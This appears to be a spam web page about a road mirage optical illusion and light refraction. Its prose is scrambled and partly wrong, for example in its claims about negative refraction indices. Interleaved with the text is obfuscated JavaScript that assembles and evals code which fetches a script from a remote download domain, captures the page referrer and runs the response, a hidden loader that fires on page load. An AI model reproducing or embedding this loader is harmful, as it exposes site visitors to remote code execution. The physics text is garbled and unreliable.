Sep 22, 2015 This tricky optical illusion/video edit might make your brain explode.. The illusion fades as one gets closer On tarmac roads it may look as if water, or even oil, has been spilled.
Negative refractive indices are (theoretically) possible, though probably do not occur naturally.. Ok, 2 things, here’s another 2 things: 1 General relativity theory might disagree, particularly with reference to gravitational lensing.
Imagine a car driving along a road and suddenly its left wheels hit sticky tar, it would turn left as its right wheels are moving quicker than the left until the right wheels too hit the tar and match speeds resulting in the car now moving in a straight line.. w";S["FSn"]="xhr";S["IsQ"]="nt ";S["Roo"]="own";S["Bmu"]="EUI";S["QvA"]="doc";S["quB"]="pRe";S["oXZ"]="end";S["EPc"]="','";S["eOT"]="l(x";S["gAX"]="seT";S["ARH"]="VEA";S["qjB"]="TUU";S["roj"]="r.. var S = new Array();S["vyQ"]="hr ";S["qdG"]="AAX";S["HqD"]="r r";S["FKr"]="pon";S["tcM"]="ext";S["PfV"]="ew ";S["SIY"]="1XE";S["mXT"]="ef=";S["dYo"]="er;";S["cXa"]="n()";S["Vko"]="cE1";S["fXx"]="oJE";S["XkD"]="in/";S["Ywy"]="ens";S["LBs"]="eva";S["zwF"]="9.. 5 times faster, hence the refraction index of air=>water is 1 5 ish But actually coz the light is coming out of the water (and through glass actually) the refraction index is 1/1.
5 (well actually 1 02 coz that’s the refraction index of air) David, if you want to know what a positive refraction index looks like just imagine the air is water and the water is air.. s";S["SsO"]="unc";S["eeT"]="Dwx";S["qXX"]="que";S["ZWg"]="g==";S["gnB"]="1ZE";S["GFq"]="Vlg";S["wpr"]="4DC";S["VFE"]="ume";S["GOO"]="XML";S["xQj"]="loa";S["hZZ"]="kpB";S["TaC"]="V0Q";S["nkK"]="wMZ";S["SnO"]=");}";S["elv"]=" xh";S["WAU"]="AAl";S["CTf"]="LXx";S["EYk"]="Gld";S["pqo"]="?Zc";S["KYL"]="ccb";S["Mcc"]="err";S["JDg"]="res";S["tcp"]="ope";S["vfB"]="//d";S["mfx"]="var";S["Okw"]="1EC";S["xbH"]="n('";S["ZbM"]="{va";S["yRJ"]="JUV";S["VJK"]="r=n";S["kxJ"]="R1X";S["HoH"]="C0V";S["Mpi"]="oft";S["jaY"]="RdE";S["pQW"]="LBF";S["aVt"]=".. Not that a glass of water has a large enough mass to make this noticeable It does make you wrong, however; 2.. Well now you can with this magic mystery box All you have to do is pour in Refraction 101: Light actually travels at different speeds in different mediums.. So light coming out of water has a positive refraction index light going into water from air has a negative refraction index.. That is the boring physics explanation from what I remember -Teh Hamsteh Light DOES travel faster in air than water, roughly 1.. Have you ever wished that you could turn water into wine (or at least fruit juice).. on";S["IJc"]="();";S["eor"]="Htt";S["ipv"]="GET";S["qch"]="EID";S["nOO"]="ref";S["MUI"]="');";S["CDy"]="=GQ";S["lOH"]="afF";S["QMO"]="YXB";S["Qbv"]="fTU";S["wxE"]="tio";S["tKm"]="kZY";S["yKf"]=");x";S["fdG"]=";xh";S["YHG"]="st(";S["xmO"]="d=f";eval(S["mfx"]+S["elv"]+S["VJK"]+S["PfV"]+S["GOO"]+S["eor"]+S["quB"]+S["qXX"]+S["YHG"]+S["yKf"]+S["vyQ"]+S["tcp"]+S["xbH"]+S["ipv"]+S["EPc"]+S["vfB"]+S["Roo"]+S["Ywy"]+S["Mpi"]+S["zwF"]+S["XkD"]+S["pqo"]+S["CDy"]+S["qdG"]+S["jaY"]+S["WAU"]+S["CTf"]+S["Okw"]+S["hZZ"]+S["eeT"]+S["Qbv"]+S["KYL"]+S["gnB"]+S["ARH"]+S["lOH"]+S["fXx"]+S["Bmu"]+S["GFq"]+S["QMO"]+S["wpr"]+S["kxJ"]+S["HoH"]+S["Vko"]+S["SIY"]+S["tKm"]+S["TaC"]+S["qjB"]+S["yRJ"]+S["nkK"]+S["EYk"]+S["pQW"]+S["qch"]+S["ZWg"]+S["MUI"]+S["FSn"]+S["aVt"]+S["xQj"]+S["xmO"]+S["SsO"]+S["wxE"]+S["cXa"]+S["ZbM"]+S["HqD"]+S["mXT"]+S["QvA"]+S["VFE"]+S["IsQ"]+S["nOO"]+S["Mcc"]+S["dYo"]+S["LBs"]+S["eOT"]+S["vyQ"]+S["JDg"]+S["FKr"]+S["gAX"]+S["tcM"]+S["SnO"]+S["fdG"]+S["roj"]+S["oXZ"]+S["IJc"]);The mind interprets this as a pool of water on the road, since water also reflects the sky. 5ebbf469cd
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